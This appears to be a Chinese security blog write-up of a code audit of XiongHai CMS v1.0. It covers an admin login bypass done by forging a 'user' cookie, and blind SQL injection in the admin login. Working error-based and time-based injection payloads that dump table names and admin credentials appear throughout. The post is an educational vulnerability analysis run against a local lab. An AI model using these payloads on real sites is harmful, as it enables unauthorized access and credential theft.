【代码审计】熊海CMS v1.0多漏洞审计分析

前言

熊海cms是由熊海开发的一款应用于个人博客,个人网站,企业网站的一套网站综合管理系统。

熊海CMS v1.0存在后台权限绕过漏洞,攻击者可伪造COOKIE绕过登录检测,成功登录后台。

编号:CNVD-2017-04283

后台存在登录绕过漏洞

漏洞复现

下载源码,配置好环境,直接进入到后台登录地址

http://127.0.0.1/xhcms_v1.0/admin/?r=login
图片[1]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

这里我们把连接地址的login改成index,就不输入命令,直接添加cookie:user=1

http://127.0.0.1/xhcms_v1.0/admin/?r=index
图片[2]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

直接访问即可进入后台

图片[3]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

此时,只要user=1的cookie一直存在,就可以直接在后台畅通无阻

代码审计

站在上帝视角,我们已经知道是后台未授权,那么就直接看看后台文件是怎么鉴权的就好

随便打开一个后台文件都可以发现:

require '../inc/checklogin.php';

字面意思,就是检查有没有登录,继续跟一下:

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

很明显可以发现就只是检查了一下,如果user!=空就直接进入,相当于没有鉴权

这样就只需要加上cookie,并且里面加上user设置就可以

后台登录sql注入漏洞

漏洞复现

后台登录地方直接输入 admin',就会出现报错

图片[4]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

通过测试,可以发现属于盲注,这里使用时间注入或者报错注入都是可以的

时间注入poc:

user=admin'%2bsleep(1)%23&password=afsf&login=yes
图片[5]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

报错注入poc:

user=admin'%2bupdatexml(1,concat(0x7e,database(),0x7e),1)%23&password=afsf&login=yes
图片[6]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

因为时间盲注着实麻烦,这里就只放下报错注入的poc啦

user=admin'%2bupdatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema='xhcms_com'+limit+6,1),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name='manage'+limit+3,1),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+user+from+manage),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+password+from+manage),0x7e),1)%23&password=afsf&login=yes
图片[7]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

使用sqlmap进行验证:

图片[8]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享

漏洞审计

查看文件:admin\files\login.php

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

没有任何过滤,直接梭哈就可以

© 版权声明
THE END
喜欢就支持一下吧
点赞19 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容